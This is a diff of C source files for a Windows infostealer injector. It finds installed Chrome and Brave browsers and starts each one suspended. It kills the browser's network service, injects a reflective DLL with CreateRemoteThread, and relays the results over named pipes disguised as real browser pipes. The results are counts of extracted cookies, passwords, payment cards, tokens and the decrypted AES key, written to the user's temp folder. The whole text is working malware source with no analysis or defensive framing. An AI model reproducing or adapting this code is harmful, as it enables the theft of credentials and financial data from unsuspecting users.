|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool injection_execute(TargetProcess* target, const wchar_t* pipe_name) {
|
||||||
|
if (!target || !target->process || !pipe_name) return false;
|
||||||
|
|
||||||
|
DllPayload payload = { 0 };
|
||||||
|
if (!load_dll_payload(&payload)) return false;
|
||||||
|
|
||||||
|
DWORD rdi_offset = get_reflective_loader_offset(&payload);
|
||||||
|
if (rdi_offset == 0) {
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T pipe_name_size = (wcslen(pipe_name) + 1) * sizeof(wchar_t);
|
||||||
|
SIZE_T total_size = payload.size + pipe_name_size;
|
||||||
|
|
||||||
|
LPVOID remote_base = VirtualAllocEx(target->process, NULL, total_size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
if (!remote_base) {
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T bytes_written = 0;
|
||||||
|
if (!WriteProcessMemory(target->process, remote_base, payload.data,
|
||||||
|
payload.size, &bytes_written) ||
|
||||||
|
bytes_written != payload.size) {
|
||||||
|
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID remote_pipe_name = (LPBYTE)remote_base + payload.size;
|
||||||
|
if (!WriteProcessMemory(target->process, remote_pipe_name, pipe_name,
|
||||||
|
pipe_name_size, &bytes_written) ||
|
||||||
|
bytes_written != pipe_name_size) {
|
||||||
|
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD old_protect = 0;
|
||||||
|
if (!VirtualProtectEx(target->process, remote_base, total_size,
|
||||||
|
PAGE_EXECUTE_READ, &old_protect)) {
|
||||||
|
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPTHREAD_START_ROUTINE entry_point = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remote_base + rdi_offset);
|
||||||
|
|
||||||
|
HANDLE remote_thread = CreateRemoteThread(target->process, NULL, 0, entry_point, remote_pipe_name, 0, NULL);
|
||||||
|
|
||||||
|
free_dll_payload(&payload);
|
||||||
|
|
||||||
|
if (!remote_thread) {
|
||||||
|
VirtualFreeEx(target->process, remote_base, 0, MEM_RELEASE);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(remote_thread);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+150
@@ -0,0 +1,150 @@
|
|||||||
|
#include "types.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include "browser_resolver.h"
|
||||||
|
#include "target_process.h"
|
||||||
|
#include "pipe_communicator.h"
|
||||||
|
#include "injection_manager.h"
|
||||||
|
#include <time.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
static void init_browser_config(InjectorConfig* config, const wchar_t* browser_id, const wchar_t* browser_path) {
|
||||||
|
wcsncpy_s(config->browser_type, 64, browser_id, _TRUNCATE);
|
||||||
|
wcsncpy_s(config->browser_exe_path, MAX_PATH_LEN, browser_path, _TRUNCATE);
|
||||||
|
|
||||||
|
if (wcscmp(browser_id, L"chrome") == 0) {
|
||||||
|
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||||
|
strcpy_s(config->browser_display_name, 64, "Chrome");
|
||||||
|
}
|
||||||
|
else if (wcscmp(browser_id, L"brave") == 0) {
|
||||||
|
wcsncpy_s(config->browser_process_name, 64, L"brave.exe", _TRUNCATE);
|
||||||
|
strcpy_s(config->browser_display_name, 64, "Brave");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
wcsncpy_s(config->browser_process_name, 64, L"chrome.exe", _TRUNCATE);
|
||||||
|
strcpy_s(config->browser_display_name, 64, "Unknown");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool validate_config(InjectorConfig* config) {
|
||||||
|
if (!config) return false;
|
||||||
|
|
||||||
|
if (config->browser_exe_path[0] == L'\0') return false;
|
||||||
|
if (!file_exists(config->browser_exe_path)) return false;
|
||||||
|
if (!create_directory_recursive(config->output_path)) return false;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool run_injection_workflow(InjectorConfig* config, ExtractionStats* stats) {
|
||||||
|
if (!config || !stats) return false;
|
||||||
|
|
||||||
|
memset(stats, 0, sizeof(ExtractionStats));
|
||||||
|
|
||||||
|
target_kill_network_service(config->browser_process_name);
|
||||||
|
|
||||||
|
TargetProcess target = { 0 };
|
||||||
|
if (!target_create_suspended(&target, config->browser_exe_path)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t pipe_name[256];
|
||||||
|
if (!generate_browser_mimic_pipe_name(config->browser_type, pipe_name, 256)) {
|
||||||
|
target_cleanup(&target);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
PipeCommunicator pipe = { 0 };
|
||||||
|
if (!pipe_create(&pipe, pipe_name)) {
|
||||||
|
target_cleanup(&target);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!injection_execute(&target, pipe_name)) {
|
||||||
|
pipe_destroy(&pipe);
|
||||||
|
target_terminate(&target);
|
||||||
|
target_cleanup(&target);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool success = false;
|
||||||
|
if (pipe_wait_for_client(&pipe)) {
|
||||||
|
if (pipe_send_initial_data(&pipe, config->verbose,
|
||||||
|
config->extract_fingerprint,
|
||||||
|
config->output_path)) {
|
||||||
|
success = pipe_relay_messages(&pipe);
|
||||||
|
*stats = pipe.stats;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pipe_destroy(&pipe);
|
||||||
|
target_terminate(&target);
|
||||||
|
target_cleanup(&target);
|
||||||
|
|
||||||
|
return success;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void process_all_browsers(bool verbose, bool extract_fingerprint, const wchar_t* output_path) {
|
||||||
|
BrowserList* browsers = browser_find_all_installed();
|
||||||
|
if (!browsers || browsers->count == 0) {
|
||||||
|
if (browsers) browser_list_destroy(browsers);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (size_t i = 0; i < browsers->count; i++) {
|
||||||
|
InjectorConfig config = { 0 };
|
||||||
|
config.verbose = verbose;
|
||||||
|
config.extract_fingerprint = extract_fingerprint;
|
||||||
|
wcsncpy_s(config.output_path, MAX_PATH_LEN, output_path, _TRUNCATE);
|
||||||
|
|
||||||
|
init_browser_config(&config,
|
||||||
|
browsers->items[i].browser_id,
|
||||||
|
browsers->items[i].exe_path);
|
||||||
|
|
||||||
|
if (!validate_config(&config)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf("Processing %s\n", config.browser_display_name);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
ExtractionStats stats = { 0 };
|
||||||
|
bool res = run_injection_workflow(&config, &stats);
|
||||||
|
#ifdef _DEBUG
|
||||||
|
if (res) {
|
||||||
|
printf("Profiles: %d\n", stats.profile_count);
|
||||||
|
printf("Cookies: %d\n", stats.total_cookies);
|
||||||
|
printf("Passwords: %d\n", stats.total_passwords);
|
||||||
|
printf("Payments: %d\n", stats.total_payments);
|
||||||
|
printf("Tokens: %d\n", stats.total_tokens);
|
||||||
|
if (stats.aes_key[0]) {
|
||||||
|
printf("AES Key: %s\n", stats.aes_key);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
printf("Failed\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\n");
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
browser_list_destroy(browsers);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
srand((unsigned int)time(NULL));
|
||||||
|
|
||||||
|
wchar_t tmp_path[MAX_PATH];
|
||||||
|
GetEnvironmentVariableW(L"TEMP", tmp_path, MAX_PATH);
|
||||||
|
|
||||||
|
wchar_t output_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(output_path, MAX_PATH_LEN, L"%ls\\Log", tmp_path);
|
||||||
|
|
||||||
|
if (!CreateDirectoryW(output_path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
process_all_browsers(true, true, output_path);
|
||||||
|
}
|
||||||
+199
@@ -0,0 +1,199 @@
|
|||||||
|
#include "pipe_communicator.h"
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
bool pipe_create(PipeCommunicator* comm, const wchar_t* pipe_name) {
|
||||||
|
if (!comm || !pipe_name) return false;
|
||||||
|
|
||||||
|
memset(comm, 0, sizeof(PipeCommunicator));
|
||||||
|
wcsncpy_s(comm->pipe_name, 256, pipe_name, _TRUNCATE);
|
||||||
|
|
||||||
|
comm->pipe = CreateNamedPipeW(
|
||||||
|
pipe_name,
|
||||||
|
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
|
||||||
|
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
|
||||||
|
1, 4096, 4096, 0, NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return comm->pipe != INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
void pipe_destroy(PipeCommunicator* comm) {
|
||||||
|
if (!comm) return;
|
||||||
|
|
||||||
|
if (comm->pipe && comm->pipe != INVALID_HANDLE_VALUE) {
|
||||||
|
CloseHandle(comm->pipe);
|
||||||
|
comm->pipe = INVALID_HANDLE_VALUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool pipe_wait_for_client(PipeCommunicator* comm) {
|
||||||
|
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||||
|
|
||||||
|
OVERLAPPED overlapped = { 0 };
|
||||||
|
overlapped.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
|
||||||
|
if (!overlapped.hEvent) return false;
|
||||||
|
|
||||||
|
BOOL connected = ConnectNamedPipe(comm->pipe, &overlapped);
|
||||||
|
DWORD last_error = GetLastError();
|
||||||
|
|
||||||
|
if (!connected && last_error == ERROR_IO_PENDING) {
|
||||||
|
DWORD wait_result = WaitForSingleObject(overlapped.hEvent, PIPE_TIMEOUT_MS);
|
||||||
|
CloseHandle(overlapped.hEvent);
|
||||||
|
|
||||||
|
if (wait_result != WAIT_OBJECT_0) {
|
||||||
|
CancelIo(comm->pipe);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (!connected && last_error != ERROR_PIPE_CONNECTED) {
|
||||||
|
CloseHandle(overlapped.hEvent);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
CloseHandle(overlapped.hEvent);
|
||||||
|
}
|
||||||
|
|
||||||
|
Sleep(200);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool pipe_write_message(PipeCommunicator* comm, const char* msg) {
|
||||||
|
if (!comm || !msg) return false;
|
||||||
|
|
||||||
|
DWORD bytes_written = 0;
|
||||||
|
size_t msg_len = strlen(msg) + 1;
|
||||||
|
|
||||||
|
return WriteFile(comm->pipe, msg, (DWORD)msg_len, &bytes_written, NULL) &&
|
||||||
|
bytes_written == msg_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool pipe_send_initial_data(PipeCommunicator* comm, bool verbose, bool fingerprint, const wchar_t* output_path) {
|
||||||
|
if (!comm || !output_path) return false;
|
||||||
|
|
||||||
|
if (!pipe_write_message(comm, verbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE")) return false;
|
||||||
|
Sleep(10);
|
||||||
|
|
||||||
|
if (!pipe_write_message(comm, fingerprint ? "FINGERPRINT_TRUE" : "FINGERPRINT_FALSE")) return false;
|
||||||
|
Sleep(10);
|
||||||
|
|
||||||
|
char path_utf8[MAX_PATH_LEN * 3];
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, output_path, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
|
||||||
|
|
||||||
|
if (!pipe_write_message(comm, path_utf8)) return false;
|
||||||
|
Sleep(10);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int extract_number_from_message(const char* message, const char* prefix, const char* suffix) {
|
||||||
|
const char* start = strstr(message, prefix);
|
||||||
|
if (!start) return 0;
|
||||||
|
|
||||||
|
start += strlen(prefix);
|
||||||
|
const char* end = strstr(start, suffix);
|
||||||
|
if (!end) end = start + strlen(start);
|
||||||
|
|
||||||
|
char num_str[32];
|
||||||
|
size_t len = end - start;
|
||||||
|
if (len >= sizeof(num_str)) len = sizeof(num_str) - 1;
|
||||||
|
|
||||||
|
memcpy(num_str, start, len);
|
||||||
|
num_str[len] = '\0';
|
||||||
|
|
||||||
|
return atoi(num_str);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void parse_extraction_message(PipeCommunicator* comm, const char* message) {
|
||||||
|
if (!comm || !message) return;
|
||||||
|
|
||||||
|
if (strstr(message, "Found ") && strstr(message, "profile(s)")) {
|
||||||
|
comm->stats.profile_count = extract_number_from_message(message, "Found ", " profile(s)");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strstr(message, "Decrypted AES Key: ")) {
|
||||||
|
const char* key_start = strstr(message, "Decrypted AES Key: ") + 19;
|
||||||
|
strncpy_s(comm->stats.aes_key, sizeof(comm->stats.aes_key), key_start, _TRUNCATE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strstr(message, " cookies extracted to ")) {
|
||||||
|
comm->stats.total_cookies += extract_number_from_message(message, "[*] ", " cookies");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strstr(message, " passwords extracted to ")) {
|
||||||
|
comm->stats.total_passwords += extract_number_from_message(message, "[*] ", " passwords");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strstr(message, " payments extracted to ")) {
|
||||||
|
comm->stats.total_payments += extract_number_from_message(message, "[*] ", " payments");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strstr(message, " tokens extracted to ")) {
|
||||||
|
comm->stats.total_tokens += extract_number_from_message(message, "[*] ", " tokens");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool pipe_relay_messages(PipeCommunicator* comm) {
|
||||||
|
if (!comm || comm->pipe == INVALID_HANDLE_VALUE) return false;
|
||||||
|
|
||||||
|
const char* completion_signal = "__DLL_PIPE_COMPLETION_SIGNAL__";
|
||||||
|
DWORD start_time = GetTickCount();
|
||||||
|
char accumulated[8192] = { 0 };
|
||||||
|
size_t accumulated_len = 0;
|
||||||
|
char buffer[4096];
|
||||||
|
bool completed = false;
|
||||||
|
|
||||||
|
while (!completed && (GetTickCount() - start_time < DLL_COMPLETION_TIMEOUT_MS)) {
|
||||||
|
DWORD bytes_available = 0;
|
||||||
|
if (!PeekNamedPipe(comm->pipe, NULL, 0, NULL, &bytes_available, NULL)) {
|
||||||
|
if (GetLastError() == ERROR_BROKEN_PIPE)
|
||||||
|
break;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bytes_available == 0) {
|
||||||
|
Sleep(100);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD bytes_read = 0;
|
||||||
|
if (!ReadFile(comm->pipe, buffer, sizeof(buffer) - 1, &bytes_read, NULL) || bytes_read == 0) {
|
||||||
|
if (GetLastError() == ERROR_BROKEN_PIPE) break;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (accumulated_len + bytes_read < sizeof(accumulated)) {
|
||||||
|
memcpy(accumulated + accumulated_len, buffer, bytes_read);
|
||||||
|
accumulated_len += bytes_read;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t pos = 0;
|
||||||
|
while (pos < accumulated_len) {
|
||||||
|
size_t msg_len = strlen(accumulated + pos);
|
||||||
|
if (msg_len == 0 || pos + msg_len >= accumulated_len)
|
||||||
|
break;
|
||||||
|
|
||||||
|
char* message = accumulated + pos;
|
||||||
|
|
||||||
|
if (strcmp(message, completion_signal) == 0) {
|
||||||
|
completed = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
parse_extraction_message(comm, message);
|
||||||
|
pos += msg_len + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (completed)
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (pos > 0 && pos < accumulated_len) {
|
||||||
|
memmove(accumulated, accumulated + pos, accumulated_len - pos);
|
||||||
|
accumulated_len -= pos;
|
||||||
|
}
|
||||||
|
else if (pos >= accumulated_len) {
|
||||||
|
accumulated_len = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return completed;
|
||||||
|
}
|
||||||
+231
@@ -0,0 +1,231 @@
|
|||||||
|
#include "target_process.h"
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtGetNextProcess_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
ACCESS_MASK DesiredAccess,
|
||||||
|
ULONG HandleAttributes,
|
||||||
|
ULONG Flags,
|
||||||
|
PHANDLE NewProcessHandle
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PROCESSINFOCLASS ProcessInformationClass,
|
||||||
|
PVOID ProcessInformation,
|
||||||
|
ULONG ProcessInformationLength,
|
||||||
|
PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtReadVirtualMemory_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
PVOID BaseAddress,
|
||||||
|
PVOID Buffer,
|
||||||
|
SIZE_T BufferSize,
|
||||||
|
PSIZE_T NumberOfBytesRead
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* NtTerminateProcess_t)(
|
||||||
|
HANDLE ProcessHandle,
|
||||||
|
NTSTATUS ExitStatus
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef BOOL(WINAPI* IsWow64Process2_t)(HANDLE, USHORT*, USHORT*);
|
||||||
|
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
|
||||||
|
static bool check_architecture(TargetProcess* target) {
|
||||||
|
if (!target || !target->process) return false;
|
||||||
|
|
||||||
|
HMODULE kernel32 = GetModuleHandleW(L"kernel32.dll");
|
||||||
|
if (!kernel32) return false;
|
||||||
|
|
||||||
|
IsWow64Process2_t fnIsWow64Process2 =
|
||||||
|
(IsWow64Process2_t)GetProcAddress(kernel32, "IsWow64Process2");
|
||||||
|
|
||||||
|
if (!fnIsWow64Process2) {
|
||||||
|
BOOL is_wow64 = FALSE;
|
||||||
|
if (IsWow64Process(target->process, &is_wow64)) {
|
||||||
|
target->arch = is_wow64 ? IMAGE_FILE_MACHINE_I386 : IMAGE_FILE_MACHINE_AMD64;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
USHORT process_arch = 0, native_machine = 0;
|
||||||
|
if (!fnIsWow64Process2(target->process, &process_arch, &native_machine)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
target->arch = (process_arch == IMAGE_FILE_MACHINE_UNKNOWN) ?
|
||||||
|
native_machine : process_arch;
|
||||||
|
|
||||||
|
USHORT injector_arch =
|
||||||
|
#if defined(_M_X64)
|
||||||
|
IMAGE_FILE_MACHINE_AMD64;
|
||||||
|
#elif defined(_M_ARM64)
|
||||||
|
IMAGE_FILE_MACHINE_ARM64;
|
||||||
|
#elif defined(_M_IX86)
|
||||||
|
IMAGE_FILE_MACHINE_I386;
|
||||||
|
#else
|
||||||
|
IMAGE_FILE_MACHINE_UNKNOWN;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return target->arch == injector_arch;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool target_create_suspended(TargetProcess* target, const wchar_t* exe_path) {
|
||||||
|
if (!target || !exe_path) return false;
|
||||||
|
|
||||||
|
memset(target, 0, sizeof(TargetProcess));
|
||||||
|
|
||||||
|
STARTUPINFOW si = { 0 };
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
|
||||||
|
if (!CreateProcessW(exe_path, NULL, NULL, NULL, FALSE,
|
||||||
|
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
target->process = pi.hProcess;
|
||||||
|
target->thread = pi.hThread;
|
||||||
|
target->pid = pi.dwProcessId;
|
||||||
|
|
||||||
|
if (!check_architecture(target)) {
|
||||||
|
target_cleanup(target);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
void target_terminate(TargetProcess* target) {
|
||||||
|
if (!target || !target->process) return;
|
||||||
|
|
||||||
|
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (ntdll) {
|
||||||
|
NtTerminateProcess_t pNtTerminateProcess =
|
||||||
|
(NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||||
|
if (pNtTerminateProcess) {
|
||||||
|
pNtTerminateProcess(target->process, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
TerminateProcess(target->process, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
WaitForSingleObject(target->process, 2000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void target_cleanup(TargetProcess* target) {
|
||||||
|
if (!target) return;
|
||||||
|
|
||||||
|
if (target->thread) {
|
||||||
|
CloseHandle(target->thread);
|
||||||
|
target->thread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target->process) {
|
||||||
|
CloseHandle(target->process);
|
||||||
|
target->process = NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bool target_kill_network_service(const wchar_t* process_name) {
|
||||||
|
if (!process_name) return false;
|
||||||
|
|
||||||
|
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
|
||||||
|
if (!ntdll) return false;
|
||||||
|
|
||||||
|
NtGetNextProcess_t pNtGetNextProcess = (NtGetNextProcess_t)GetProcAddress(ntdll, "NtGetNextProcess");
|
||||||
|
NtQueryInformationProcess_t pNtQueryInformationProcess = (NtQueryInformationProcess_t)GetProcAddress(ntdll, "NtQueryInformationProcess");
|
||||||
|
NtReadVirtualMemory_t pNtReadVirtualMemory = (NtReadVirtualMemory_t)GetProcAddress(ntdll, "NtReadVirtualMemory");
|
||||||
|
NtTerminateProcess_t pNtTerminateProcess = (NtTerminateProcess_t)GetProcAddress(ntdll, "NtTerminateProcess");
|
||||||
|
|
||||||
|
if (!pNtGetNextProcess || !pNtQueryInformationProcess ||
|
||||||
|
!pNtReadVirtualMemory || !pNtTerminateProcess) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE current_process = NULL;
|
||||||
|
bool found = false;
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
HANDLE next_process = NULL;
|
||||||
|
NTSTATUS status = pNtGetNextProcess(current_process, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_TERMINATE, 0, 0, &next_process);
|
||||||
|
|
||||||
|
if (current_process) {
|
||||||
|
CloseHandle(current_process);
|
||||||
|
current_process = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) break;
|
||||||
|
|
||||||
|
current_process = next_process;
|
||||||
|
|
||||||
|
BYTE buffer[sizeof(UNICODE_STRING) + MAX_PATH * 2];
|
||||||
|
PUNICODE_STRING image_name = (PUNICODE_STRING)buffer;
|
||||||
|
|
||||||
|
status = pNtQueryInformationProcess(current_process, ProcessImageFileName, image_name, sizeof(buffer), NULL);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status) || image_name->Length == 0) continue;
|
||||||
|
|
||||||
|
wchar_t* filename = image_name->Buffer;
|
||||||
|
for (wchar_t* p = image_name->Buffer + (image_name->Length / sizeof(wchar_t)) - 1; p > image_name->Buffer; p--) {
|
||||||
|
if (*p == L'\\' || *p == L'/') {
|
||||||
|
filename = p + 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(filename, process_name) != 0) continue;
|
||||||
|
|
||||||
|
PROCESS_BASIC_INFORMATION pbi = { 0 };
|
||||||
|
status = pNtQueryInformationProcess(current_process, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status) || !pbi.PebBaseAddress) continue;
|
||||||
|
|
||||||
|
PEB peb = { 0 };
|
||||||
|
SIZE_T bytes_read = 0;
|
||||||
|
status = pNtReadVirtualMemory(current_process, pbi.PebBaseAddress, &peb, sizeof(peb), &bytes_read);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
RTL_USER_PROCESS_PARAMETERS params = { 0 };
|
||||||
|
status = pNtReadVirtualMemory(current_process, peb.ProcessParameters, ¶ms, sizeof(params), &bytes_read);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) continue;
|
||||||
|
|
||||||
|
if (params.CommandLine.Length > 0) {
|
||||||
|
wchar_t* cmd_line = malloc(params.CommandLine.Length + sizeof(wchar_t));
|
||||||
|
if (cmd_line) {
|
||||||
|
memset(cmd_line, 0, params.CommandLine.Length + sizeof(wchar_t));
|
||||||
|
|
||||||
|
status = pNtReadVirtualMemory(
|
||||||
|
current_process,
|
||||||
|
params.CommandLine.Buffer,
|
||||||
|
cmd_line,
|
||||||
|
params.CommandLine.Length,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
if (NT_SUCCESS(status)) {
|
||||||
|
if (wcsstr(cmd_line, L"--utility-sub-type=network.mojom.NetworkService")) {
|
||||||
|
pNtTerminateProcess(current_process, 0);
|
||||||
|
found = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(cmd_line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (current_process) {
|
||||||
|
CloseHandle(current_process);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
Executable
+93
@@ -0,0 +1,93 @@
|
|||||||
|
#include "utils.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <ctype.h>
|
||||||
|
|
||||||
|
bool generate_browser_mimic_pipe_name(const wchar_t* browser_type, wchar_t* pipe_name, size_t len) {
|
||||||
|
if (!browser_type || !pipe_name) return false;
|
||||||
|
|
||||||
|
DWORD pid = GetCurrentProcessId();
|
||||||
|
DWORD tid = GetCurrentThreadId();
|
||||||
|
DWORD tick = GetTickCount();
|
||||||
|
|
||||||
|
DWORD id1 = (pid ^ tick) & 0xFFFF;
|
||||||
|
DWORD id2 = (tid ^ (tick >> 16)) & 0xFFFF;
|
||||||
|
DWORD id3 = ((pid << 8) ^ tid) & 0xFFFF;
|
||||||
|
|
||||||
|
wchar_t browser_lower[64];
|
||||||
|
wcsncpy_s(browser_lower, 64, browser_type, _TRUNCATE);
|
||||||
|
for (wchar_t* p = browser_lower; *p; p++) {
|
||||||
|
*p = towlower(*p);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (wcscmp(browser_lower, L"chrome") == 0) {
|
||||||
|
const wchar_t* patterns[] = {
|
||||||
|
L"\\\\.\\pipe\\chrome.sync.%u.%u.%04X",
|
||||||
|
L"\\\\.\\pipe\\chrome.nacl.%u_%04X",
|
||||||
|
L"\\\\.\\pipe\\mojo.%u.%u.%04X.chrome"
|
||||||
|
};
|
||||||
|
int idx = (id1 + id2) % 3;
|
||||||
|
|
||||||
|
if (idx == 1) {
|
||||||
|
swprintf_s(pipe_name, len, patterns[idx], id1, id3);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
swprintf_s(pipe_name, len, patterns[idx], id1, id2, id3);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (wcscmp(browser_lower, L"brave") == 0) {
|
||||||
|
const wchar_t* patterns[] = {
|
||||||
|
L"\\\\.\\pipe\\brave.sync.%u.%u",
|
||||||
|
L"\\\\.\\pipe\\mojo.%u.%u.brave",
|
||||||
|
L"\\\\.\\pipe\\brave.crashpad_%u"
|
||||||
|
};
|
||||||
|
int idx = id3 % 3;
|
||||||
|
|
||||||
|
if (idx == 2) {
|
||||||
|
swprintf_s(pipe_name, len, patterns[idx], id1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
swprintf_s(pipe_name, len, patterns[idx], id1, id2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
swprintf_s(pipe_name, len, L"\\\\.\\pipe\\chromium.ipc.%u.%u", id1, id2);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
